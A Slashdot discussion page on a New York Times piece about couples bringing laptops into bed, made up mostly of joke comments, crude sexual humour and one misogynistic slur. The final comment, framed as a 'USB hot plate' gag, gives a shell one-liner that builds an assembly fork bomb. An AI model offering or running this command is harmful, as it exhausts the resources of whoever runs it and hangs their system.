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Using Your Laptop In Bed
ryanaip writes "The New York Times has an article looking at the social implications of technology in the home. Specifically, the problems a spouse can face when their loved one is working in bed." From the article: "As electronic devices get smaller, people tote their technology around the house more than ever. And as the number of home wireless networks also grows, laptops — along with Treos, BlackBerries and other messaging devices — are migrating into the bedroom and onto the bed. The marital bed has survived his-and-her book lights and the sushi-laden bed tray. Can it also survive computers that tether their owners to the office or make the bed the workplace itself?"
I can't come to the Slashdot right now, because I'm on the phone with my girlfriend. Please leave a comment after the beep, and I'll get back to you right away.
What's this about technology interfering in relationships? It's the only reason I have one right now cause she lives 3 hours away!
Saskboy's blog is good. 9 out of 10 dentists agree.
Step 1: Give partner a reason to put the laptop down and pay attention to you
Step 2: ???
Step 3: Profit
This is not rocket science, people.
Why the hell is this being posted on Slashdot? It's not like having spouses angry at us for using the PC in bed is ever gonna affect us. Either we won't get a spouse, or she'll be too busy surfing the 'net on her own laptop to care.
Laptop as marital aide.
It just sounds so dirty. Besides, I have to wonder, how could you....never mind.
I've always wanted to feel what it was like to be a prostitute!
Pretty neat, eh? Just imagine projecting a keyboard and screen on your lover's[*] back. You could read Slashdot while drilling for oil! Just make sure you're not using a Sony battery.
[*] No, I didn't say girlfriend. After all, this is Slashdot.
Tubal-Cain smokes the white owl.
Sadly, something many of us here have a hard time comprehending. Something like NP-complete. I dunno.
Take the cheese to sickbay, the doctor should see it as soon as possible - B'Elanna Torres, "Learning Curve"
Where was I when people were serving cold rice dressed with vinegar and garnished with raw seafood on a bedside tray?
If you can read this sig, you're too close.
No gadgets in the bed room? BORING! We have pleanty of battery operated "gadgets" in our bed room. And we both enjoy them quite a bit. >:)
Can all fish swim?
She's called sxcgrrl182, I just paid off her car loan a month ago and she's been too busy driving it she isnt on IRC anymore, I hope she comes online again soon
Slashdot decides to make fun of slashdotters...
A Good Troll is better than a Bad Human.
That's why I work and sleep on the couch in the living room.
All that heat on your crotch CAN'T be good for the swimmers.
Saving the World: One Drink at a Time
Thus spake thewiz:
Our bedroom is for sleeping, sex, and private time together.
Am I the only person who finds it concerning that thewiz felt that it was necessary to list "sex" and "private time together" separately?
Tarsnap: Online backups for the truly paranoid
My laptop is my girlfriend
The heavens do not fall for such a trifle.
"Not to sound like a luddite, but really. Why do people not take a good book to bed, or pay attention to their partner?"
Because I downloaded a good book to my laptop, you insensitive clod!
(Oh...I downloaded my partner too.)
2 Laptops, cross-over cable, NIC's and a game of network PornoDoom. There's a night in.
Then sex.
Task Mangler
Using this MacBookPro in bed is the only way I can warm up that cold hearted bitch!
I can just picture it next. The GreenHaven WIFI Equipped Cemetery and Mausoleum will be equipped with WIFE and will offer laptop equipped coffins and urns for that busy executive or hacker! You won't miss the net just because you passed away.
Cleara
No gadgets in the bed room? BORING! We have pleanty of battery operated "gadgets" in our bed room. And we both enjoy them quite a bit. >:)
Modded informative? Wow, more like too-much-informative.
Bah, and I bet these same 'experts' say that the toilet is best used for going to the bathroom and nothing else.
Seriously. Why let all that perfectly good water go to waste? Bring some ice and a couple mixers and you've got yourself a party!
"Can it also survive computers that tether their owners to the office or make the bed the workplace itself?" It depends on what she looks like...
Why doesn't anything interesting happen when I have mod points?
I hope for you they aren't powered by Sony Li-ion batteries.
the new spontaneously combustable line of laptops from dell give a whole new meaning to 'smoking in bed'.
Ahhh. Now I know what those job ads mean when they ask for embedded programmers.
Welcome to /. where using a bed for sleeping is modded insightful! :P
If you're working in bed remember not to place the laptop on your family jewels - it's bad for your sperm count!
What? You got a problem with explosive orgasms?
This guy's the limit!
This is why I have sex in my car. Driving to work is always a stimulating experience.
"To be is to do." --Socrates
"To do is to be." -- Aristotle
"Do-Be-Do-Be-Do..." --Sinatra
In today's world, that will go down even worse than bringing a laptop to bed.
May the Maths Be with you!
Ooh, I know this.
USB hot plate!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;